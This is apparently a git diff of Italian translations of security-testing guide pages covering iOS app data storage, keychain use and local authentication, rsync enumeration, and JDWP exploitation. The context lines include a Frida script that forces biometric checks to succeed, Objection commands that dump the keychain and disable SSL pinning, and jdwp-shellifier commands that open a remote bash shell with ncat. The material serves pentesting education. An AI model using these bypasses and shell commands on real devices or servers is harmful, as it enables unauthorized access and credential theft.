Per visualizzare questi file di database, si consiglia di utilizzare lo strumento [**Realm Studio**](https://github.com/realm/realm-studio).
|
||||
Per visualizzare questi file di database, si consiglia lo strumento [**Realm Studio**](https://github.com/realm/realm-studio).
|
||||
|
||||
Per implementare la crittografia all'interno di un database Realm, è possibile utilizzare il seguente frammento di codice:
|
||||
```swift
|
||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) è descritto come un motore di database **leggero** e **integrato** che segue l'approccio **orientato ai documenti** (NoSQL). Progettato per essere nativo su **iOS** e **macOS**, offre la possibilità di sincronizzare i dati senza soluzione di continuità.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) è descritto come un motore di database **leggero** e **integrato** che segue l'approccio **orientato ai documenti** (NoSQL). Progettato per essere nativo su **iOS** e **macOS**, offre la possibilità di sincronizzare i dati senza problemi.
|
||||
|
||||
Per identificare potenziali database Couchbase su un dispositivo, la seguente directory dovrebbe essere ispezionata:
|
||||
```bash
|
||||
@ -510,7 +510,7 @@ Per ispezionare il file dei cookie puoi usare [**questo script python**](https:/
|
||||
|
||||
Per impostazione predefinita, NSURLSession memorizza i dati, come **richieste e risposte HTTP nel database Cache.db**. Questo database può contenere **dati sensibili**, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate nella cache, apri la directory dei dati dell'app (`/var/mobile/Containers/Data/Application/<UUID>`) e vai a `/Library/Caches/<Bundle Identifier>`. La **cache di WebKit è anche memorizzata nel file Cache.db**. **Objection** può aprire e interagire con il database con il comando `sqlite connect Cache.db`, poiché è un **normale database SQLite**.
|
||||
|
||||
È **consigliato disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbero contenere informazioni sensibili nella richiesta o nella risposta. La seguente lista mostra diversi modi per raggiungere questo obiettivo:
|
||||
È **consigliato disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbe contenere informazioni sensibili nella richiesta o nella risposta. La seguente lista mostra diversi modi per raggiungere questo obiettivo:
|
||||
|
||||
1. È consigliato rimuovere le risposte memorizzate nella cache dopo il logout. Questo può essere fatto con il metodo fornito da Apple chiamato [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Puoi chiamare questo metodo come segue:
|
||||
|
||||
@ -528,13 +528,13 @@ Questo metodo rimuoverà tutte le richieste e risposte memorizzate nella cache d
|
||||
|
||||
### Snapshots
|
||||
|
||||
Ogni volta che premi il pulsante home, iOS **prende uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti **dati sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui puoi accedere anche toccando due volte lo schermo home per passare tra le app.
|
||||
Ogni volta che premi il pulsante home, iOS **prende uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti **dati** **sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui puoi accedere anche toccando due volte la schermata home per passare tra le app.
|
||||
|
||||
A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere questi screenshot. Per impostazione predefinita, l'ultimo snapshot è memorizzato nel sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOX 7.0).
|
||||
A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere questi screenshot. Per impostazione predefinita, l'ultimo snapshot è memorizzato nel sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
|
||||
|
||||
Un modo per prevenire questo comportamento indesiderato è mettere uno schermo vuoto o rimuovere i dati sensibili prima di prendere lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`.
|
||||
|
||||
Di seguito è riportato un esempio di metodo di remediation che imposterà uno screenshot predefinito.
|
||||
Di seguito è riportato un esempio di metodo di rimedio che imposterà uno screenshot predefinito.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -572,7 +572,7 @@ Questo imposta l'immagine di sfondo su `overlayImage.png` ogni volta che l'appli
|
||||
|
||||
Per accedere e gestire il keychain iOS, sono disponibili strumenti come [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), adatti per dispositivi jailbroken. Inoltre, [**Objection**](https://github.com/sensepost/objection) fornisce il comando `ios keychain dump` per scopi simili.
|
||||
|
||||
#### **Memorizzazione delle Credenziali**
|
||||
#### **Storing Credentials**
|
||||
|
||||
La classe **NSURLCredential** è ideale per salvare informazioni sensibili direttamente nel keychain, bypassando la necessità di NSUserDefaults o altri wrapper. Per memorizzare le credenziali dopo il login, viene utilizzato il seguente codice Swift:
|
||||
```swift
|
||||
@ -580,7 +580,7 @@ NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
Per estrarre queste credenziali memorizzate, viene utilizzato il comando di Objection `ios nsurlcredentialstorage dump`.
|
||||
Per estrarre queste credenziali memorizzate, viene utilizzato il comando `ios nsurlcredentialstorage dump` di Objection.
|
||||
|
||||
## **Tastiere Personalizzate e Cache della Tastiera**
|
||||
|
||||
@ -589,7 +589,7 @@ Con iOS 8.0 e versioni successive, gli utenti possono installare estensioni di t
|
||||
**Raccomandazioni di Sicurezza:**
|
||||
|
||||
- Si consiglia di disabilitare le tastiere di terze parti per una maggiore sicurezza.
|
||||
- Fai attenzione alle funzionalità di correzione automatica e suggerimenti automatici della tastiera iOS predefinita, che potrebbero memorizzare informazioni sensibili in file di cache situati in `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Questi file di cache dovrebbero essere controllati regolarmente per dati sensibili. Si raccomanda di ripristinare il dizionario della tastiera tramite **Impostazioni > Generale > Ripristina > Ripristina Dizionario Tastiera** per cancellare i dati memorizzati.
|
||||
- Fai attenzione alle funzionalità di correzione automatica e suggerimenti automatici della tastiera iOS predefinita, che potrebbero memorizzare informazioni sensibili in file di cache situati in `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Questi file di cache dovrebbero essere controllati regolarmente per dati sensibili. Si raccomanda di ripristinare il dizionario della tastiera tramite **Impostazioni > Generale > Ripristina > Ripristina Dizionario Tastiera** per cancellare i dati memorizzati nella cache.
|
||||
- L'intercettazione del traffico di rete può rivelare se una tastiera personalizzata sta trasmettendo i tasti in remoto.
|
||||
|
||||
### **Prevenire la Cache dei Campi di Testo**
|
||||
@ -616,7 +616,7 @@ Quando si esamina il codice sorgente dell'app per potenziali perdite, cercare si
|
||||
|
||||
### **Monitoring System Logs**
|
||||
|
||||
Le app registrano vari pezzi di informazioni che possono essere sensibili. Per monitorare questi log, strumenti e comandi come:
|
||||
Le app registrano vari pezzi di informazione che possono essere sensibili. Per monitorare questi log, strumenti e comandi come:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
@ -625,10 +625,10 @@ sono utili. Inoltre, **Xcode** offre un modo per raccogliere i log della console
|
||||
|
||||
1. Apri Xcode.
|
||||
2. Collega il dispositivo iOS.
|
||||
3. Naviga su **Finestra** -> **Dispositivi e simulatori**.
|
||||
3. Naviga su **Finestra** -> **Dispositivi e Simulatori**.
|
||||
4. Seleziona il tuo dispositivo.
|
||||
5. Attiva il problema che stai investigando.
|
||||
6. Usa il pulsante **Apri console** per visualizzare i log in una nuova finestra.
|
||||
6. Usa il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
|
||||
|
||||
Per un logging più avanzato, collegarsi alla shell del dispositivo e utilizzare **socat** può fornire un monitoraggio dei log in tempo reale:
|
||||
```bash
|
||||
@ -644,15 +644,15 @@ Le **funzionalità di auto-backup** sono integrate in iOS, facilitando la creazi
|
||||
|
||||
L'inclusione di **app installate e dei loro dati** nei backup solleva la questione della potenziale **perdita di dati** e il rischio che **le modifiche ai backup possano alterare la funzionalità delle app**. Si consiglia di **non memorizzare informazioni sensibili in testo semplice** all'interno della directory di qualsiasi app o delle sue sottodirectory per mitigare questi rischi.
|
||||
|
||||
### Escludere File dai Backup
|
||||
### Esclusione di File dai Backup
|
||||
|
||||
I file in `Documents/` e `Library/Application Support/` vengono salvati nei backup per impostazione predefinita. Gli sviluppatori possono escludere file o directory specifici dai backup utilizzando `NSURL setResourceValue:forKey:error:` con `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'essere inclusi nei backup.
|
||||
I file in `Documents/` e `Library/Application Support/` vengono salvati nei backup per impostazione predefinita. Gli sviluppatori possono escludere file o directory specifici dai backup utilizzando `NSURL setResourceValue:forKey:error:` con il `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'essere inclusi nei backup.
|
||||
|
||||
### Testare le Vulnerabilità
|
||||
|
||||
Per valutare la sicurezza del backup di un'app, inizia con il **creare un backup** utilizzando Finder, quindi localizzalo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
|
||||
|
||||
Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" nella radice del backup.
|
||||
Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" alla radice del backup.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -669,11 +669,11 @@ Per gestire i backup crittografati, gli script Python disponibili nel [repo GitH
|
||||
|
||||
### Modificare il Comportamento dell'App
|
||||
|
||||
Un esempio di alterazione del comportamento dell'app attraverso modifiche ai backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato in `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.
|
||||
Un esempio di modifica del comportamento dell'app attraverso modifiche ai backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato all'interno di `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.
|
||||
|
||||
## Riepilogo sul Test della Memoria per Dati Sensibili
|
||||
|
||||
Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è fondamentale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi presentano le loro sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o analisi.
|
||||
Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è fondamentale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi presentano le proprie sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o analisi.
|
||||
|
||||
## **Recuperare e Analizzare un Dump della Memoria**
|
||||
|
||||
@ -687,7 +687,7 @@ $ strings memory > strings.txt
|
||||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
Per un'analisi più dettagliata, inclusa la ricerca di tipi di dati o modelli specifici, **radare2** offre ampie capacità di ricerca:
|
||||
Per un'analisi più dettagliata, inclusa la ricerca di specifici tipi di dati o modelli, **radare2** offre ampie capacità di ricerca:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
@ -700,19 +700,19 @@ $ r2 <name_of_your_dump_file>
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
```
|
||||
## Criptografia Rovinata
|
||||
## Broken Cryptography
|
||||
|
||||
### Processi di Gestione delle Chiavi Scadenti
|
||||
### Poor Key Management Processes
|
||||
|
||||
Alcuni sviluppatori salvano dati sensibili nella memoria locale e li crittografano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché alcune operazioni di reverse engineering potrebbero consentire agli attaccanti di estrarre le informazioni riservate.
|
||||
Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché alcune operazioni di reverse engineering potrebbero consentire agli attaccanti di estrarre le informazioni riservate.
|
||||
|
||||
### Uso di Algoritmi Insicuri e/o Obsoleti
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi obsoleti** per eseguire **controlli** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale.
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti al brute-force con sale.
|
||||
|
||||
### Controllo
|
||||
### Check
|
||||
|
||||
I principali controlli da eseguire sono per verificare se puoi trovare password/segreti **hardcoded** nel codice, o se sono **predicibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **debole**.
|
||||
I principali controlli da eseguire sono per verificare se puoi trovare **password/segreti hardcoded** nel codice, o se sono **predicibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **debole**.
|
||||
|
||||
È interessante sapere che puoi **monitorare** alcune **librerie** **crypto** automaticamente utilizzando **objection** con:
|
||||
```swift
|
||||
@ -722,7 +722,7 @@ Per **maggiori informazioni** sulle API e le librerie crittografiche iOS, accedi
|
||||
|
||||
## Autenticazione Locale
|
||||
|
||||
**L'autenticazione locale** gioca un ruolo cruciale, specialmente quando si tratta di proteggere l'accesso a un endpoint remoto attraverso metodi crittografici. L'essenza qui è che senza una corretta implementazione, i meccanismi di autenticazione locale possono essere elusi.
|
||||
L'**autenticazione locale** gioca un ruolo cruciale, specialmente quando si tratta di proteggere l'accesso a un endpoint remoto attraverso metodi crittografici. L'essenza qui è che senza una corretta implementazione, i meccanismi di autenticazione locale possono essere elusi.
|
||||
|
||||
Il [**framework di Autenticazione Locale**](https://developer.apple.com/documentation/localauthentication) di Apple e il [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) forniscono API robuste per consentire ai sviluppatori di facilitare i dialoghi di autenticazione degli utenti e gestire in modo sicuro i dati segreti, rispettivamente. Il Secure Enclave protegge l'ID delle impronte digitali per Touch ID, mentre Face ID si basa sul riconoscimento facciale senza compromettere i dati biometrici.
|
||||
|
||||
@ -745,11 +745,11 @@ Un'autenticazione riuscita è indicata da un valore di ritorno booleano da **`ev
|
||||
|
||||
### Autenticazione Locale utilizzando il Keychain
|
||||
|
||||
Implementare **l'autenticazione locale** nelle app iOS comporta l'uso delle **API del keychain** per memorizzare in modo sicuro i dati segreti come i token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il proprio codice di accesso del dispositivo o l'autenticazione biometrica come Touch ID.
|
||||
Implementare l'**autenticazione locale** nelle app iOS comporta l'uso delle **API del keychain** per memorizzare in modo sicuro i dati segreti come i token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il proprio codice di accesso del dispositivo o l'autenticazione biometrica come Touch ID.
|
||||
|
||||
Il keychain offre la possibilità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente non si autentica con successo tramite Touch ID o codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza.
|
||||
|
||||
Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati configurati, a condizione che sia configurato un codice di accesso del dispositivo.
|
||||
Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che sia configurato un codice di accesso del dispositivo.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Ora possiamo richiedere l'elemento salvato dal portachiavi. I servizi del portachiavi presenteranno la finestra di dialogo di autenticazione all'utente e restituiranno i dati o nil a seconda che sia stata fornita o meno un'impronta digitale adeguata.
|
||||
Ora possiamo richiedere l'elemento salvato dal portachiavi. I servizi del portachiavi presenteranno la finestra di autenticazione all'utente e restituiranno i dati o nil a seconda che sia stata fornita o meno un'impronta digitale adeguata.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -885,13 +885,13 @@ Se `LocalAuthentication.framework` è utilizzato in un'app, l'output conterrà e
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
Se viene utilizzato `Security.framework`, verrà mostrato solo il secondo.
|
||||
Se viene utilizzato `Security.framework`, solo il secondo verrà mostrato.
|
||||
|
||||
### Bypass del Framework di Autenticazione Locale
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, garantendo che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
|
||||
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina di GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, assicurando che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
|
||||
|
||||
Per attivare questo bypass, viene impiegato il seguente comando:
|
||||
```bash
|
||||
@ -936,7 +936,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
```
|
||||
Per ottenere il **bypass** dell'Autenticazione Locale, viene scritto uno script Frida. Questo script mira al controllo **evaluatePolicy**, intercettando il suo callback per garantire che restituisca **success=1**. Alterando il comportamento del callback, il controllo di autenticazione viene effettivamente bypassato.
|
||||
|
||||
Lo script qui sotto viene iniettato per modificare il risultato del metodo **evaluatePolicy**. Cambia il risultato del callback per indicare sempre il successo.
|
||||
Lo script sottostante viene iniettato per modificare il risultato del metodo **evaluatePolicy**. Cambia il risultato del callback per indicare sempre il successo.
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
@ -1018,14 +1018,14 @@ burp-configuration-for-ios.md
|
||||
### Controllo del Nome Host
|
||||
|
||||
Un problema comune nella validazione del certificato TLS è controllare che il certificato sia stato firmato da una **CA** **fidata**, ma **non controllare** se **il nome host** del certificato è il nome host a cui si sta accedendo.\
|
||||
Per controllare questo problema utilizzando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi **creare un nuovo certificato con Burp per un nome host diverso** e usarlo. Se l'applicazione continua a funzionare, allora qualcosa è vulnerabile.
|
||||
Per controllare questo problema utilizzando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi **creare un nuovo certificato con Burp per un nome host diverso** e usarlo. Se l'applicazione funziona ancora, allora qualcosa è vulnerabile.
|
||||
|
||||
### Pinning del Certificato
|
||||
### Certificato Pinning
|
||||
|
||||
Se un'applicazione utilizza correttamente il SSL Pinning, allora l'applicazione funzionerà solo se il certificato è quello previsto. Quando si testa un'applicazione **questo potrebbe essere un problema poiché Burp servirà il proprio certificato.**\
|
||||
Per bypassare questa protezione all'interno di un dispositivo jailbroken, puoi installare l'applicazione [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o installare [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
Puoi anche utilizzare **objection's** `ios sslpinning disable`
|
||||
Puoi anche usare **objection's** `ios sslpinning disable`
|
||||
|
||||
## Varie
|
||||
|
||||
@ -1040,9 +1040,9 @@ Puoi anche utilizzare **objection's** `ios sslpinning disable`
|
||||
|
||||
### Hot Patching/Aggiornamento Forzato
|
||||
|
||||
Gli sviluppatori possono **patchare tutte le installazioni della loro app istantaneamente** senza dover reinviare l'applicazione all'App Store e aspettare che venga approvata.\
|
||||
Gli sviluppatori possono **patchare tutte le installazioni della loro app istantaneamente** senza dover ripresentare l'applicazione all'App Store e aspettare che venga approvata.\
|
||||
A questo scopo si utilizza solitamente [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Questo è un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malevoli, quindi è consigliato controllare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo.** Potresti provare a scaricare una versione precedente dell'app a questo scopo.
|
||||
**Questo è un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malevoli, pertanto è consigliato controllare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo.** Potresti provare a scaricare una versione precedente dell'app a questo scopo.
|
||||
|
||||
### Terze Parti
|
||||
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Informazioni di Base**
|
||||
## **Informazioni di base**
|
||||
|
||||
Da [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** è un'utilità per trasferire in modo efficiente [files](https://en.wikipedia.org/wiki/Computer_file) e [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) tra un computer e un disco rigido esterno e tra [computer](https://en.wikipedia.org/wiki/Computer) [networked](https://en.wikipedia.org/wiki/Computer_network) confrontando i [modification times](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) e le dimensioni dei file.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) È comunemente trovato su [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system). L'algoritmo rsync è un tipo di [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) ed è utilizzato per minimizzare l'uso della rete. [Zlib](https://en.wikipedia.org/wiki/Zlib) può essere utilizzato per una [data compression](https://en.wikipedia.org/wiki/Data_compression) aggiuntiva,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure_Shell) o [stunnel](https://en.wikipedia.org/wiki/Stunnel) possono essere utilizzati per la sicurezza.
|
||||
> **rsync** è un'utilità per trasferire in modo efficiente [files](https://en.wikipedia.org/wiki/Computer_file) e [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) tra un computer e un disco rigido esterno e tra [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) confrontando i [modification times](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) e le dimensioni dei file.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) È comunemente trovato su [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system). L'algoritmo rsync è un tipo di [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) ed è utilizzato per minimizzare l'uso della rete. [Zlib](https://en.wikipedia.org/wiki/Zlib) può essere utilizzato per una [data compression](https://en.wikipedia.org/wiki/Data_compression) aggiuntiva,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure_Shell) o [stunnel](https://en.wikipedia.org/wiki/Stunnel) possono essere utilizzati per la sicurezza.
|
||||
|
||||
**Porta predefinita:** 873
|
||||
```
|
||||
@ -37,7 +37,7 @@ nc -vn 127.0.0.1 873
|
||||
raidroot
|
||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||
```
|
||||
### **Enumerare le Cartelle Condivise**
|
||||
### **Enumerazione delle Cartelle Condivise**
|
||||
|
||||
I **moduli Rsync** sono riconosciuti come **condivisioni di directory** che potrebbero essere **protette da password**. Per identificare i moduli disponibili e verificare se richiedono password, si utilizzano i seguenti comandi:
|
||||
```bash
|
||||
@ -47,7 +47,7 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Fai attenzione che alcune condivisioni potrebbero non apparire nell'elenco, nascondendole possibilmente. Inoltre, l'accesso ad alcune condivisioni potrebbe essere limitato a specifiche **credenziali**, indicate da un messaggio **"Accesso Negato"**.
|
||||
Fai attenzione che alcune condivisioni potrebbero non apparire nell'elenco, nascondendole. Inoltre, l'accesso ad alcune condivisioni potrebbe essere limitato a specifiche **credenziali**, indicate da un messaggio **"Accesso Negato"**.
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
||||
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Sfruttamento
|
||||
|
||||
Lo sfruttamento di JDWP si basa sulla **mancanza di autenticazione e crittografia** del protocollo. Si trova generalmente sulla **porta 8000**, ma sono possibili altre porte. La connessione iniziale viene effettuata inviando un "JDWP-Handshake" alla porta di destinazione. Se un servizio JDWP è attivo, risponde con la stessa stringa, confermando la sua presenza. Questo handshake funge da metodo di fingerprinting per identificare i servizi JDWP sulla rete.
|
||||
@ -14,7 +15,7 @@ Lo strumento principale è [jdwp-shellifier](https://github.com/hugsy/jdwp-shell
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit più **stabile**. E se hai la possibilità di caricare un backdoor sull'host ed eseguirlo invece di eseguire un comando, l'exploit sarà ancora più stabile.
|
||||
Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit più **stabile**. E se hai la possibilità di caricare una backdoor sull'host ed eseguirla invece di eseguire un comando, l'exploit sarà ancora più stabile.
|
||||
|
||||
## Maggiori dettagli
|
||||
|
||||
@ -32,7 +33,7 @@ Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit
|
||||
3. **Comunicazione JDWP**:
|
||||
|
||||
- I messaggi hanno una struttura semplice con campi come Lunghezza, Id, Flag e CommandSet.
|
||||
- I valori di CommandSet vanno da 0x40 a 0x80, rappresentando diverse azioni ed eventi.
|
||||
- I valori di CommandSet variano da 0x40 a 0x80, rappresentando diverse azioni ed eventi.
|
||||
|
||||
4. **Sfruttamento**:
|
||||
|
||||
@ -56,7 +57,7 @@ Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit
|
||||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||
